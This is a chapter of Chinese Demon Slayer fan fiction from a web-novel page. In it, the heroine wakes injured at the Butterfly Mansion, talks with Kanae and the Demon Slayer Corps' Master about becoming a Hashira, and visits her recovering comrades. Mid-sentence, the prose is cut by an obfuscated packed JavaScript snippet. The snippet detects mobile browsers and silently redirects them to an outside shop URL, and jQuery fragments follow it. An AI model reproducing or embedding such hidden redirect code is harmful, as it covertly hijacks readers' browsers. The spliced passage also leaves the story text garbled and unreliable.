默认冷灰
24号文字
方正启体

26. 主公大人

作者:黛日葵本书字数:K更新时间:
    阳光从窗帘的缝隙里斜斜漏进来,落在被褥上。


    音叶睁开眼睛时最先感觉到疼痛,她想动一下身体,才发现身上被绷带裹得严严实实,完全不能动弹,就连手也没能避免,只能微微弯曲手指。


    她闭上眼睛,记忆慢慢浮现:戏院、舞台,还有那个高大的身影,最后的印象是听见有人在喊她的名字。


    “醒了?”一个声音从旁边传来,带着笑意。


    音叶转过头,床边坐着一个与她年纪相仿的女孩子。蝴蝶纹样的羽织,头发两边别着蝴蝶形状的发饰,她正歪着头看音叶,圆圆的脸上笑意盈盈,眼睛弯成两弯好看的月牙。


    “你昏迷了一个月呢,”那个女孩子说着伸手去拿床头的小碗,“不过不用担心,伤口都处理好了,只是需要时间恢复。你腿上那道伤最深,可能要养久一点。”


    她扶着音叶的头,把碗送到她唇边。水是温的,带着一点淡淡的甜味,音叶一点一点喝下去,感觉喉咙里那种被刀片刮过的灼痛慢慢消退。


    “我叫蝴蝶香奈惠,你可以叫我香奈惠。”女孩把碗放回去,重新坐下来,“这段时间由我来照顾你,我平时没事就来蝶屋帮忙,正好可以照顾你。”


    音叶看着香奈惠,她说话的时候一直在笑,眼睛眯起来,声音柔和。


    “和我一起的那两个人呢?”音叶问。


    “在你隔壁的房间,”香奈惠说,“伤得很重,但都活下来了,现在应该还没醒。”


    音叶闭上眼睛,长长呼出一口气。


    香奈惠没有再说话,只是安静地坐在旁边,把窗帘透进来的光挡掉一部分,让她的眼睛舒服一些。


    过了一会儿,门被推开了。


    一个人走进来,步子很轻。


    音叶睁开眼睛,一位少年站在床边。他穿着白色和紫色渐变的羽织,面容清秀,眉眼温和,皮肤白得几乎透明,能看见底下细细的青色血管蜿蜒。


    香奈惠已经站起来了,恭恭敬敬地行礼:“主公大人。”


    音叶愣住了——他是鬼杀队的主公?产屋敷耀哉?


    她想坐起来,身体却不听使唤,产屋敷伸出手,轻轻扶住她的肩膀。


    “别动,”他说,声音很轻,“你伤得很重。”


    音叶躺在床上,看着这个比自己大不了多少的少年。


    “主公大人,抱歉。”她开口,声音有些哑,“我们输了。”


    产屋敷没有说话,他在床边坐下来,那双温和的眼睛看着她,等着她说下去。


    “如果没有音柱大人,我们三个都会死在那里……”音叶说,“我们拖住了他,可是杀不了他……我们根本杀不了他……”


    这些话从醒来的那一刻就在心里堵着,现在说出来,她听见有什么东西裂开了一道口子。


    产屋敷安静地听她说完,然后开口,声音还是那样轻:“你们三个人,己级和庚级拖住了下弦二。”


    他看着音叶:“下弦是十二鬼月,是鬼舞辻无惨最得力的部下。你们在他面前撑了那么久,活下来了,这已经很好了。”


    音叶张了张嘴,不知道该说什么。


    产屋敷脸上浮现一点笑意:“你叫音叶,对吗?”


    “是。”


    “前任水柱鳞泷左近次的徒弟。”


    “是。”


    产屋敷点点头,他的动作很慢,像是每一个动作都要耗费一些力气,可是那种气场很柔和:“鳞泷先生给我写过一封信,关于最终选拔的事。”


    音叶怔住,那封信——参加完最终选拔后,她跟爷爷说,她觉得最终选拔那样的事不太对,会死很多人,希望鬼杀队可以做出改变。鳞泷左近次说信他会写,但不一定有用,所以她从来没有想过鬼杀队会因为她一个人的想法做出改变。


    “那封信……”


    “我收到了,”产屋敷说,“已经在着手处理了,可能需要一些时间,但会加强安全措施的执行。”


    音叶看着他,不知道该说什么。她只是鬼杀中那么多人中的一个队员,等级不高。按照她的想法,应该是信寄出去后杳无音信才对。


    可是现在,主公大人亲自来告诉她已经在着手处理了,她突然觉得眼眶有些发烫。


    “主公大人,”她说,声音稳了一些,“我想成为柱。”


    产屋敷看着她,等着她说下去。


    “我想成为柱,”她又重复了一遍,“我一定会杀掉鬼舞辻无惨,不要让他再继续迫害其他人,我也不想再让同伴挡在我前面受伤了。”


    这些话从心里浮起来,但当她说出来之后,她觉得心底飘起来的大石头终于落地了。


    产屋敷点头:“你会成为柱的。”


    音叶看着他,那双温和的眼睛里没有一丝敷衍,像是在说一件已经确定的事。


    “我见过很多剑士,”产屋敷说,“你有坚定的意志,无论如何都不会倒下的意志。”


    他站起来,动作很慢,走到门口时他停下来,对音叶说:“你的两个朋友,有一个中途醒了一次,他问的第一句话是音叶呢。”


    门关上了,屋里安静下来,阳光从窗纸透进来,落在音叶身上。


    香奈惠走过来,在她旁边坐下:“主公大人很看重你们。”


    音叶闭上眼睛,嘴角慢慢弯起来。


    之后的半个月,香奈惠每隔一两天就会来。


    有时候是早晨,她推开门,端着一盆温水,把毛巾拧干递给音叶。但更多时候是傍晚,匆匆忙忙跑进来,羽织上还沾着血迹,脸上还带着未散的杀意。她会先在门口站一会儿,等呼吸平稳了,才走到音叶床边坐下。


    “今天有任务?”音叶问。


    “嗯,”香奈惠说,低头整理自己的衣襟,“西边的村子里,一只会血鬼术的鬼,不难。”


    音叶看着她。香奈惠的手指很稳,把羽织上的褶皱抚平,把沾血的地方折进去。做完这些,她抬起头,脸上已经恢复平日的笑意。


    “伤口换药了吗?”她问。


    “早上自己换了。”


    香奈惠点点头,把音叶的被子掀开一角,看了看她腿上缠着的绷带。她看得很仔细,从脚踝看到膝盖,又轻轻按了按几处地方。


    “你恢复得很快,”她说,“再过半个月,应该能试着下床了。”


    音叶看着她,香奈惠坐在窗边,这个使用花之呼吸的少女就像花儿一样灿烂,阳光落在她身上,把她整个人照得暖暖的。可是她羽织的袖口有一道裂口,像是被什么东西撕开的。


    “今天遇到麻烦了?”音叶问。


    香奈惠低头看了看自己的袖口,笑起来:“被树枝刮破了,追的那只鬼躲进林子里,我没能注意到。”


    “你撒谎了。”


    香奈惠愣了一下,然后笑得更深了:“你怎么知道?”


    “树枝刮的不会是那个样子。”


    香奈惠低头又看了看袖口,没有再辩解。她把那只袖子折进去,让裂口看不见,然后抬起头,看着音叶。


    “是那只鬼抓的,”她说,“不过没事,我躲得快,只撕破了衣服。”


    音叶点点头,没有再问。


    窗外有鸟叫声传进来,香奈惠转过头,看着窗外。阳光落在她的侧脸上,把她的轮廓勾成金色。


    音叶看着她,突然想起刚才她站在门口的样子。羽织上沾着血,呼吸还没有平复,可是看见音叶醒着,她还是笑了一下。


    “香奈惠。”音叶说。


    “嗯?”


    “你家里还有个妹妹?”


    香奈惠转过头,眼睛亮了亮:“你怎么知道?”


    “你上次说过,蝴蝶忍。”


    “对,”香奈惠说,提到妹妹时她的语气明显更活泼了,“比我小一些,很聪明,就是太要强了。”她说到这里,脸上的笑意淡了一些,“她最近有些沮丧。”


    “她力气太小了,没有办法是用花之呼吸砍掉鬼的头颅,”香奈惠说,“她感觉自己没法掌握花之呼吸的精髓,怎么练都练不好,她很着急,每天都练,可是越急越练不好。”


    音叶没有说话。


    “她也很擅长药理,最近在做什么研究,”香奈惠说,“把自己关在房间里,不知道在弄什么。我问她,她说她会研究出一种不用砍头也能杀掉鬼的新方法。”


    “不用砍头也能杀掉鬼?”


    “嗯。”香奈惠点点头,眼睛里有一点复杂的情绪,“她说既然力气小没法砍掉头,那就从别的地方找办法,我不知道该说什么,她才十一岁。”


    阳光落在香奈惠的脸上,把她的表情照得很清楚,她在说这些话的时候,脸上满满都是对妹妹的骄傲。


    “她会成功的。”音叶说。


    香奈惠愣了一下,有些疑惑。


    “像这种要强的人,”音叶说,“一般都会成功的。”


    香奈惠看了她一会儿,然后笑起来,眼睛弯弯的,整个人都柔软下来。


    “谢谢。”她说。


    那天傍晚,香奈惠走之前,从怀里掏出一个小纸包,放在音叶枕边。


    “这是什么?”


    “紫藤花包,”香奈惠说,“忍最近做研究时顺手做的。”


    音叶把花包放在鼻子前嗅了一下,淡淡的紫藤花香,好闻但不刺鼻。


    “好香喔。”她说。


    香奈惠笑起来:“那就好,这个花包可以送给救下来的那些人,鬼很讨厌这个味道。”


    她站起来,理了理羽织,夕阳从窗户照进来,落在她身上。


    “我要走了,”她说,“明天还有任务,到时候可能来不了了。”


    音叶点点头。


    “好好养伤。”她说。


    之后的半个月,香奈惠确实没有每天都来,更多的是蝶屋的小姑娘们在照顾她,音叶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375047|200056||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    性格好,很快就跟小姑娘们打成一片。蝶屋的小姑娘们会经常给她送些小点心来。


    香奈惠的等级比音叶高,现在已经是丁级了,所以任务比较多,总是隔几天才回来,来的时候还大多都带着伤。


    “任务。”她每次都这么说。


    然后她会坐下来,问音叶伤口的情况,帮她换药,陪她说一会儿话。走的时候,她会留下一点东西从任务时顺手买的几颗糖和点心,或者是买来的一小束花,被她插在床前的花瓶里。


    “你不用带这些。”音叶说。


    “没事。”


    音叶看着床头那枝花,淡粉色的花瓣,很小,凑近了能闻到一点点香味。


    “这是什么花?”


    “不知道,”香奈惠说,“路上看见的,觉得好看就买来了。”


    说这话的时候香奈惠正在整理床头的药瓶,把用过的收起来,把新的摆好。


    “香奈惠。”音叶说。


    “嗯?”


    “你妹妹那个新的灭鬼方法,想出来了吗?”


    香奈惠手上的动作停了一下,她抬起头,看着音叶,脸上浮现一点笑意。


    “还在想,”香奈惠点点头,“前段时间看了好多医学相关的书,还做了一些研究,说有进展了。忍在说这话的时候眼神很亮,我猜应该很快就会成功了,”


    她顿了顿:“很久没见过她眼睛那么亮了。”


    音叶点头,她觉得如果真菰在的话,应该会和香奈惠很合得来。


    “香奈惠。”她又说。


    “嗯?”


    “你以后想做什么?”


    香奈惠沉默了一会儿,开口说:“我想成为柱。”


    “我想成为花柱,”香奈惠说,声音里有一点认真,“成为鬼杀队顶天立地的存在,去保护他们……等到把鬼全部消灭,我就开一家小店,门口挂一个蝴蝶的招牌,卖各种各样的东西。”她说到这里,脸上浮现一点笑意,“你到时候来,我请你吃点心。”


    音叶点点头:“好。”


    一个月后,音叶能下床走动了。


    她扶着墙,一步一步挪到隔壁房间,左腿还有些使不上力,走得很慢。推开门,看见两张并排的床。


    锖兔靠在床头,脸色还有些白,但眼睛是睁着的,正看着门口,义勇躺在另一张床上,闭着眼睛,呼吸很轻很浅。


    锖兔看见她,脸上绽开一个笑容:“终于舍得醒了?”


    音叶慢慢挪到他床边,在床沿边上坐下来:“你怎么样了?”


    “没多大事,”锖兔说,低头看了看自己缠满绷带的胸口,“肋骨断了几根,不过已经接上了,再过几天就能下床。”他上下打量了她一眼,“瘦了。”


    音叶低头看看自己,又抬头看他:“你也是。”


    锖兔摸了摸自己的脸,然后笑了。


    那边床上的人动了一下,睁开眼睛。那双海蓝色的眼睛先落在天花板上,然后慢慢转过来,先看见锖兔,然后顺着锖兔的目光看见音叶。


    他什么也没说,就静静地看着音叶,久到音叶都有些不自在了,他才把目光收回去,落在自己缠满绷带的腹部。


    锖兔在旁边看着这一幕,嘴角动了动,最后还是说了出来,声音压得很低:“他醒来第一件事就是问你在哪儿,那时候他刚醒,话都说不清楚,翻来覆去就这几句话。”


    义勇没有说话,只是盯着自己的腹部,那道疤从胸口下面一直延伸到腰侧,趴在皮肤上。他的手轻轻按在那道疤上。


    “还疼吗?”音叶问。


    义勇抬起头,看着她:“不疼。”


    “你骗人。”


    义勇的嘴角动了动,像是想笑没有笑出来:“是有一点。”


    窗外的阳光很好,落在院子里那棵刚抽出新芽的树上。


    “我见过主公大人了。”她说。


    锖兔一怔:“主公大人?”


    “嗯,”音叶说,“他前段时间来过了,你们那时还没醒。他说我们做得很好,三个人拖住了下弦二那么久。”


    锖兔沉默了一会儿:“他还说什么了?”


    “他说最终选拔的安全措施已经在着手处理了,”音叶说,“我让爷爷写的那封信,他收到了。”


    锖兔看着她,眼神里毫不意外。


    “我就知道你会提出来的。”


    “还有一件事,”音叶说,“我想成为柱。”


    锖兔看着她,她坐在床边,腿因为不受力轻轻翘起,左边的小腿缠着一大圈绷带。


    “主公说我一定会成为柱的,”音叶说,“我也觉得自己可以。”


    锖兔露出笑容:“行啊,我们一起!”


    音叶故意逗他:“能做到吗?”


    “废话,”锖兔果然被激到了,“你能成柱,我就不能?”


    义勇在旁边凑热闹不嫌事大:“那我也要一起。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)